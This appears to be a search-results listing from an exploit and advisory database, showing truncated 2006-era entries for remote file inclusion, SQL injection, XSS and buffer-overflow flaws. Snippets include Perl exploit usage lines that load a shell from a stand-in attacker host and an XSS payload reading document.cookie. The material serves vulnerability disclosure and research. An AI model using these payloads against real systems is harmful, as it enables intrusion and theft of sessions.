6173 matches found
Thunderbird < 1.5.0.4 Multiple Vulnerabilities (deprecated)
Binary data 3638.prm...
dokeos.txt
!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...
Jetbox CMS 2.1 - relative_script_path Remote File Inclusion
Jetbox CMS 2.1 - relativescriptpath Remote File Inclusion !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.co...
Jetbox CMS 2.1 - 'relative_script_path' Remote File Inclusion
!/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.com/ The file jetbox/includes/phpdig/includes/config.php use...
Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford xbefordx gmail com uso: perl own.pl host cmd-shell-url cmd-var perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: ? system$cmd; ? cmd variable: cmd;...
Advanced Guestbook 2.x - 'Addentry.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/17745/info Advanced GuestBook for phpBB is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file...
Invision Power Board 2.1.5 - 'lastdate' Remote Code Execution
!/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "- CONNECTION FAILED"; $login = s/./"%".ucsprintf"%2.2x",ord$1/eg; $password = s/./"%".ucsprintf"%2.2x",ord$1/eg; $post =...
Invision Power Board 2.1.5 - lastdate Remote Code Execution
Invision Power Board 2.1.5 - lastdate Remote Code Execution !/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "- CONNECTION FAILED"; $login = s/./"%".ucsprintf"%2.2x",ord$1/eg; $password =...
PT-2006-2938 · Unknown · Rechnungszentrale V2
Name of the Vulnerable Software and Affected Versions: RechnungsZentrale V2 versions 1.1.3 and earlier Description: The issue allows remote attackers to execute arbitrary SQL commands. This is achieved by exploiting the SQL injection vulnerability in the authent.php4 file, specifically via the Us...
Symantec Sygate Management Server - 'LOGIN' SQL Injection (Metasploit)
This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artistic. The latest version of the...
[ GLSA 200603-25 ] OpenOffice.org: Heap overflow in included libcurl
Gentoo Linux Security Advisory GLSA 200603-25 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity:...
XSS & SQL Injection in Music Box v2.3
Hello Vulnerable: Music Box v2.3 http://www.MusicboxV2.com Exploit : XSS : http://example.com/music/index.php?id='scriptalertdocument.cookie/script http://example.com/music/index.php?action=top&show=5&type='scriptalertdocument.cookie/script...
CONTROLzx Hms 3.3.4 - 'shared_order.php?sharedPlanID' Cross-Site Scripting
source: https://www.securityfocus.com/bid/17282/info CONTROLzx HMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed...
TFTP File Detection (HP Ignite-UX passwd) - Active Check
The remote host has a vulnerable version of the HP Ignite-UX application installed that exposes the /etc/passwd file to anonymous TFTP access. SPDX-FileCopyrightText: 2005 Corsaire Limited Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective...
crossfire-server <= 1.9.0 SetUp() Remote Buffer Overflow Exploit
No description provided by source. // crossfire-server = 1.9.0 "SetUp" remote buffer overflow // // exploit by landser - ihsahn at gmail com // vote http://shinui.org.il // include stdio.h include stdlib.h include string.h include unistd.h include getopt.h include arpa/inet.h include sys/types.h...
DEBIAN-CVE-2006-0986
WordPress 2.0.1 and earlier allows remote attackers to obtain sensitive information via a direct request to 1 default-filters.php, 2 template-loader.php, 3 rss-functions.php, 4 locale.php, 5 wp-db.php, and 6 kses.php in the wp-includes/ directory; and 7 edit-form-advanced.php, 8...
Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection
Exploit for unknown platform in category web applications ==================================================================== Pentacle In-Out Board use IO::Socket; if@ARGV + + Example: penta.pl sux.com / 1 + + Method found & Exploit scripted by nukedx + ++ "; exit; Local variables $pentaserver =...
Ultimate Auction 3.67 - ItemList.pl Cross-Site Scripting
Ultimate Auction 3.67 - ItemList.pl Cross-Site Scripting source: https://www.securityfocus.com/bid/16254/info Ultimate Auction is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage thi...
Interspire TrackPoint NX - 'index.php' Cross-Site Scripting
source: https://www.securityfocus.com/bid/16214/info TrackPoint NX is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browse...
[SA18352] Bogofilter Two Denial of Service Vulnerabilities
TITLE: Bogofilter Two Denial of Service Vulnerabilities SECUNIA ADVISORY ID: SA18352 VERIFY ADVISORY: http://secunia.com/advisories/18352/ CRITICAL: Moderately critical IMPACT: DoS WHERE: From remote SOFTWARE: bogofilter 0.x http://secunia.com/product/822/ DESCRIPTION: Some vulnerabilities have...